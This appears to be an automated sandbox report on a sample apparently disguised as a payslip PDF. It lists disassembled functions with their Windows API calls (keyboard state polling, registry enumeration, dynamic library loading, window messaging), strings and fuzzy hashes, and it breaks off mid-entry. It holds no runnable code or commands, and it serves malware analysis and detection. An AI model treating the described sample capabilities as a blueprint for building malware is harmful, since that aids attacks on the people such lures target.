Instruction ID: bcdf7afba8bea24476a331d7f9d5ae91b07be8bd36d6ed170daf73fd24ffbf7d
Opcode Fuzzy Hash: 458b50dbd5702c068e6a2416a96b96376e4b9539c0e11e2b7c948463db23e695
Instruction Fuzzy Hash: 09214475600209AFCB10DF64D985EAE7BB8EF49704B1040A9F909EB351DB31EA45DB71

Function 00CFA52F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

Part of subcall function 00CFA37C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CFA399
Part of subcall function 00CFA37C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CFA3AC
Part of subcall function 00CFA37C: GetCurrentThreadId.KERNEL32 ref: 00CFA3B3
Part of subcall function 00CFA37C: AttachThreadInput.USER32(00000000), ref: 00CFA3BA

GetFocus.USER32 ref: 00CFA554

Part of subcall function 00CFA3C5: GetParent.USER32(?), ref: 00CFA3D3

GetClassNameW.USER32(?,?,00000100), ref: 00CFA59D
EnumChildWindows.USER32(?,00CFA615), ref: 00CFA5C5
__swprintf.LIBCMT ref: 00CFA5DF

Strings

%s%d, xrefs: 00CFA5D9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 68b1e998e715fea39f2b778b5a0a5a085e50913df6b742fac42625f4ec53df86
Instruction ID: 03ff325833f6d4727e519852f1d60a8c0cee06184a748bd1f294d4d8c8d9109f
Opcode Fuzzy Hash: 68b1e998e715fea39f2b778b5a0a5a085e50913df6b742fac42625f4ec53df86
Instruction Fuzzy Hash: EC1190B1600209ABDF517F60DC85FFAB778AF49700F044075BA0CAA152CA7099499B76

Function 00D02017 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D02048

Strings

EXISTS, xrefs: 00D02070
APPEND, xrefs: 00D02081
KEYS, xrefs: 00D0205F
REMOVE, xrefs: 00D0204E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: f6b6e888304d125fd3426416fdb03c6841170631c534986a146108d6fae1ca8b
Instruction ID: 7965011c981bcb57483c6a5f1bb9a612c867012c3abf3f79e95eade3438a8aed
Opcode Fuzzy Hash: f6b6e888304d125fd3426416fdb03c6841170631c534986a146108d6fae1ca8b
Instruction Fuzzy Hash: 2C112A30901219CFCF00EFA4D851ABEB7B4FF16304B108569D856A7391EB725E0ADB60

Function 00D1EE69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00D1EF1B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00D1EF4B
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00D1F07E
CloseHandle.KERNEL32(?), ref: 00D1F0FF

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 6d3208539effdb8acba32e4c82d99f0389ebc0e0fc581578164df0786116447f
Instruction ID: d11fdd9291bb227037f68a8e1aa28091ed67b8a843d400360919f8b6bba15e47
Opcode Fuzzy Hash: 6d3208539effdb8acba32e4c82d99f0389ebc0e0fc581578164df0786116447f
Instruction Fuzzy Hash: 47819171600301AFD720DF28D846F6AB7E5EF89724F04882DF999DB392DB70AC419B52

Function 00D202C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00D210A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D20038,?,?), ref: 00D210BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D20388
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D203C7
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00D2040E
RegCloseKey.ADVAPI32(?,?), ref: 00D2043A
RegCloseKey.ADVAPI32(00000000), ref: 00D20447

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: d157a5a19d212b0e7dbc2999a6300ac9de73909923ec94ecf01d7cba1306b6a1
Instruction ID: 53bf99f909fb723712205736fc8f9d45c314d7fa01bbe96deb7c908f796e8505
Opcode Fuzzy Hash: d157a5a19d212b0e7dbc2999a6300ac9de73909923ec94ecf01d7cba1306b6a1
Instruction Fuzzy Hash: F3515B31208205AFD714EF64DC81F6EBBE8FF94708F04892DB595972A2DB30E905DB62

Function 00D1DBDC Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00D1DC3B
GetProcAddress.KERNEL32(00000000,?), ref: 00D1DCBE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00D1DCDA
GetProcAddress.KERNEL32(00000000,?), ref: 00D1DD1B
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00D1DD35

Part of subcall function 00CA5B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00D07B20,?,?,00000000), ref: 00CA5B8C
Part of subcall function 00CA5B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00D07B20,?,?,00000000,?,?), ref: 00CA5BB0

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 64a4cbeb876b53c5ecf80b7b79d1a5cb6a8771611d9d9ee35b6fc0d8982f4097
Instruction ID: 54bcff23235bc048c53a4e287da1d00785be111e47199edaeae0ef7400d2d403
Opcode Fuzzy Hash: 64a4cbeb876b53c5ecf80b7b79d1a5cb6a8771611d9d9ee35b6fc0d8982f4097
Instruction Fuzzy Hash: 48512A35A00606EFCB00EFA8D4859ADB7F5FF59314B1484A5E815AB361DB30ED85DBA0

Function 00D0E7DC Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00D0E88A
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00D0E8B3
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00D0E8F2

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00D0E917
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00D0E91F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: bf05c06d517790990fa730dcec580ca7f9c6115a005a8e2f3138f7a24f93432d
Instruction ID: 51d0a9fcea65b1cc2a196965039bc759fa5d96c0ef113ab717d1699fa5a278ae
Opcode Fuzzy Hash: bf05c06d517790990fa730dcec580ca7f9c6115a005a8e2f3138f7a24f93432d
Instruction Fuzzy Hash: E4513F35A00205EFCF15DF64C981AAEBBF5EF49314B1484A9E849AB362DB31ED11DF60

Function 00D2A2C5 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e4072b48cdc9dc0a84495d603a8d12e8c499d2c47c729a52e1e64ec9e5d53f4
Instruction ID: 6962f9b576aeeaafc4066517fba1f6f47ca1c2444d0bdf3c4f3e3985672a3ed9
Opcode Fuzzy Hash: 2e4072b48cdc9dc0a84495d603a8d12e8c499d2c47c729a52e1e64ec9e5d53f4
Instruction Fuzzy Hash: A141E635900224AFC720DFACEC44FA9BBA4EB29314F190165F855E72E1D770ED42DA71

Function 00CA2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00CA2357
ScreenToClient.USER32(00D667B0,?), ref: 00CA2374
GetAsyncKeyState.USER32(00000001), ref: 00CA2399
GetAsyncKeyState.USER32(00000002), ref: 00CA23A7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 443a323d379b98af809097971de8c016590d72c7b018ccb79ea099a0e750d3bf
Instruction ID: e915c28ba4e54e379389db45cdf8b87c27b2c036e012355a92ca94398a4bdcac
Opcode Fuzzy Hash: 443a323d379b98af809097971de8c016590d72c7b018ccb79ea099a0e750d3bf
Instruction Fuzzy Hash: DD418535504226FBDF159FA9C884AEEBB74FF06324F104326F534922A0C7359A54DFA1

Function 00CF6920 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00CF695D
TranslateAcceleratorW.USER32(?,?,?), ref: 00CF69A9
TranslateMessage.USER32(?), ref: 00CF69D2
DispatchMessageW.USER32(?), ref: 00CF69DC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00CF69EB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: f983cd5fbc60b1e8568f144c51e10f909d16839c2da0e2c12eb808b4dbc45589
Instruction ID: 1a2dfc914d77a41117ef9849f0465299ed0f483abcf50832c05670562e2acc88
Opcode Fuzzy Hash: f983cd5fbc60b1e8568f144c51e10f909d16839c2da0e2c12eb808b4dbc45589
Instruction Fuzzy Hash: AF31E47150034AAADBA08F708C44FBA7BB8EB15304F104569E631D32A1D7B1DA89D7B2

Function 00CF8F01 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00CF8F12
PostMessageW.USER32(?,00000201,00000001), ref: 00CF8FBC
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00CF8FC4
PostMessageW.USER32(?,00000202,00000000), ref: 00CF8FD2
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00CF8FDA

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: bc55115e1b98e5d6e915c67e6d7abb95b8cef97302a3d907fbbfbe3bec75bda4
Instruction ID: 3309b7ced778e025ef00423112c5c29442facb03222f42c616861dbe5710d2d6
Opcode Fuzzy Hash: bc55115e1b98e5d6e915c67e6d7abb95b8cef97302a3d907fbbfbe3bec75bda4
Instruction Fuzzy Hash: 2D31C07150021DEFDF14CFA8DD4DAAE7BB6EB14315F104229FA25E62D0C7B09A18DBA1

Function 00CFB6AF Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00CFB6C7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00CFB6E4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00CFB71C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00CFB742
_wcsstr.LIBCMT ref: 00CFB74C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 1a728462b235872813372271a98b2ca74223634ad57ee7c8204702cfb49f3ead
Instruction ID: 6aac61b6afc5c64c741a073d0b77d3a573c771fdb007eab8d7038d32d4009419
Opcode Fuzzy Hash: 1a728462b235872813372271a98b2ca74223634ad57ee7c8204702cfb49f3ead
Instruction Fuzzy Hash: 7E210731204208BBEB256B3ADC49E7B7BA8DF49710F10403EFD05CA2A1EB61DD419271

Function 00D2B405 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

GetWindowLongW.USER32(?,000000F0), ref: 00D2B44C
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00D2B471
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00D2B489
GetSystemMetrics.USER32(00000004), ref: 00D2B4B2
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00D11184,00000000), ref: 00D2B4D0

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 351805c68713200be001f8778b999ae9fd881cf957fb51502feea3951bb622fa
Instruction ID: 409ff956cdeae4474d85414c9752a4a90f0a37c280204b9209ede8765808dee0
Opcode Fuzzy Hash: 351805c68713200be001f8778b999ae9fd881cf957fb51502feea3951bb622fa
Instruction Fuzzy Hash: D9217131514626AFCB20AF38EC84A6677A4EB25738B144A35F925D32E1E77098129BB0

Function 00CF97E9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00CF9802

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00CF9834
__itow.LIBCMT ref: 00CF984C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00CF9874
__itow.LIBCMT ref: 00CF9885

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: b395806e74bb9a353e2092b8a3e78b53e873a03ed8191879ad46ab9c8a9ee8e6
Instruction ID: 8bd733845ac5c39658da5fc4871b9ed2f166053f7dcf3669f78e3fad55781641
Opcode Fuzzy Hash: b395806e74bb9a353e2092b8a3e78b53e873a03ed8191879ad46ab9c8a9ee8e6
Instruction Fuzzy Hash: 5D218631A00208ABDF209B659C8AFFE7BB9EF4A754F044039FE05DB291D6708D45D7A2

Function 00CA12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00CA134D
SelectObject.GDI32(?,00000000), ref: 00CA135C
BeginPath.GDI32(?), ref: 00CA1373
SelectObject.GDI32(?,00000000), ref: 00CA139C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: b9837ffb7a28ac9ff58ce46c96ba7e4f3960dd283dca1a97cb9bde4ccef37cf1
Instruction ID: 60a41359c453669fad5c6a5c1ae7738f70d5de717b9c3b32ad1e06a651a930a9
Opcode Fuzzy Hash: b9837ffb7a28ac9ff58ce46c96ba7e4f3960dd283dca1a97cb9bde4ccef37cf1
Instruction Fuzzy Hash: 24214A70801309EBDF118F25DD087A97BB8EB11325F588226E920D72F0D3B1D991EBB0

Function 00CFC161 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00CFC176
_memcmp.LIBCMT ref: 00CFC194
_memcmp.LIBCMT ref: 00CFC1A7
_memcmp.LIBCMT ref: 00CFC1BF
_memcmp.LIBCMT ref: 00CFC1D7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: fcd9f9ef16f509eb77fc2a12141da056db54e8413f17c7b6a530769c2bfccfe5
Instruction ID: fd095cac32caf71d4268b176396d72b16ce9a29e6fe03b9ec252696457beb023
Opcode Fuzzy Hash: fcd9f9ef16f509eb77fc2a12141da056db54e8413f17c7b6a530769c2bfccfe5
Instruction Fuzzy Hash: EB019671B0410D7BD204A6229ED2FBF635CDB21394F088015FE1496283E650EE3592E2

Function 00D04D35 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D04D5C
__beginthreadex.LIBCMT ref: 00D04D7A
MessageBoxW.USER32(?,?,?,?), ref: 00D04D8F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00D04DA5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00D04DAC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 08100b0e2a4d63bb2708ee53fdb9903d384fee3b75306ac686b48604215c40a9
Instruction ID: b6e125093372b7bda1b18eb3381305f010eab0354b07848dc1f9a3ed145efa09
Opcode Fuzzy Hash: 08100b0e2a4d63bb2708ee53fdb9903d384fee3b75306ac686b48604215c40a9
Instruction Fuzzy Hash: 3E11E1B2904309BFC7119BA8DC08F9A7BACEB59324F184269F918D3391D6B1CD048BB0

Function 00CF874A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CF8766
GetLastError.KERNEL32(?,00CF822A,?,?,?), ref: 00CF8770
GetProcessHeap.KERNEL32(00000008,?,?,00CF822A,?,?,?), ref: 00CF877F
